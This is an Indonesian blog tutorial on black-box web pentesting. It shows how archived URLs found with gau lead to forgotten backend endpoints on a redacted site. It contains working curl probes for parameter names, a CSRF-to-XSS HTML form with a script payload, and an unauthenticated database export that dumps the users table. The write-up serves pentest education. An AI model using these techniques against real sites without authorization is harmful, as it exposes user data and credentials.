Metode Alternatif Pada Saat Melakukan Black Box Pentest #2

Pada artikel ini, saya akan memberi contoh jika seorang pentester diberi tugas untuk melakukan pengujian pada web dengan sudut pandang Black Box. Baca artikel sebelumnya: Metode Alternatif Pada Saat Melakukan Black Box Pentest #1.

Dalam pembahasan ini saya akan membahas cara memanfaatkan Web Archive untuk mendapatkan informasi atau endpoint yang mungkin telah dihapus atau tidak lagi aktif pada suatu situs web.

Berikut beberapa tools yang dapat digunakan:

Sebagai contoh, jika pentester diberikan tugas untuk menguji sebuah website dan saat dibuka, hanya menampilkan halaman login seperti yang ditunjukkan pada gambar di bawah ini.

Saya menggunakan salah satu tools diatas untuk mendapatkan informasi atau endpoint pada target.

$ gau redacted.com
[...]
https://redacted.com/cms-backend/lib/config.php
https://redacted.com/cms-backend/lib/add.php
https://redacted.com/cms-backend/lib/export.php
https://redacted.com/logout.php
https://redacted.com/view.php
[...]

Saya membuka beberapa URL yang telah diperoleh dan mendapatkan respons “not found” dan “blank”. Dalam kasus ini, saya memanfaatkan endpoint yang tidak menampilkan apapun (blank), yaitu pada endpoint /cms-backend/lib/add.php dan /cms-backend/lib/export.php.

Percobaan pada endpoint /cms-backend/lib/add.php

(Biasanya) endpoint add.php menggunakan parameter “submit” untuk menyimpan data. Saya mencoba mengirimkan permintaan ke endpoint tersebut dengan metode POST dan menyertakan parameter “submit”.

$ curl https://redacted.com/cms-backend/lib/add.php -d 'submit=test'
Incorrect table name ''

Dari hasil tersebut, terlihat pesan error Incorrect table name ‘’, yang menunjukkan bahwa kurangnya parameter untuk tabel.

Saya melakukan beberapa percobaan dan akhirnya menemukan parameter yang valid.

$ curl https://redacted.com/cms-backend/lib/add.php -d 'submit=test&table=aaa'
Incorrect table name ''

$ curl https://redacted.com/cms-backend/lib/add.php -d 'submit=test&tables=aaa'
Incorrect table name ''

$ curl https://redacted.com/cms-backend/lib/add.php -d 'submit=test&tables_name=aaa'
Incorrect table name ''

$ curl https://redacted.com/cms-backend/lib/add.php -d 'submit=test&table_name=aaa'
Table 'REDACTED_2023.aaa' doesn't exist

Dari hasil percobaan tersebut, saya menemukan bahwa parameter yang valid adalah table_name. Dengan menggunakan parameter ini, saya berhasil mendapatkan informasi nama database yang digunakan.

Tidak sampai di situ, saya memperhatikan bahwa header pada endpoint tersebut memiliki content-type: text/html. Hal ini dapat dimanfaatkan untuk menyisipkan tag HTML.

$ curl -i https://redacted.com/cms-backend/lib/add.php -d 'submit=test&table_name=aaa'
HTTP/2 200
server: REDACTED
[...]
content-type: text/html; charset=UTF-8
x-powered-by: REDACTED
[...]

CSRF to XSS

<html>
<body>
<form method="POST" action='https://redacted.com/cms-backend/lib/add.php'>
<input type="hidden" value="<script>alert(5)</script>" name="table_name">
<input type="hidden" value="test" name="submit">
<input type="submit" value="Submit"></
</form>
</body>
<html>

Percobaan pada endpoint /cms-backend/lib/export.php

Pada endpoint ini, saya mencoba mengirimkan permintaan ke endpoint tersebut dengan metode POST dan menyertakan parameter “submit”, namun tidak ada respons yang diterima dari percobaan tersebut.

Pada percobaan kedua, saya mencoba mengirimkan permintaan ke endpoint tersebut dengan metode POST dan menyertakan parameter “table_name”, dan hasilnya tidak menghasilkan respons apa pun.

Percobaan ketiga, saya mencoba mengirim permintaan ke endpoint tersebut dengan metode GET dan menyertakan parameter “table_name”. Terlihat pesan error “Table ‘REDACTED_2023.aaa’ doesn’t exist,” yang menunjukkan bahwa tabel tersebut tidak ditemukan.

Unauthenticated Export Databases

$ curl https://redacted.com/cms-backend/lib/export.php?table_name=aaa
Table 'REDACTED_2023.aaa' doesn't exist

$ curl https://redacted.com/cms-backend/lib/export.php?table_name=users
id,username,password,picture_url,role,status
[..]
12,superadmin,redactedpassword,https://redacted.com/images/picture.png,1,0
[..]

Dengan cara yang telah dituliskan di atas, semoga dapat membantu pentester pada saat melakukan pengujian dari sudut pandang Black Box.

Sekian dan terima kasih.

--

--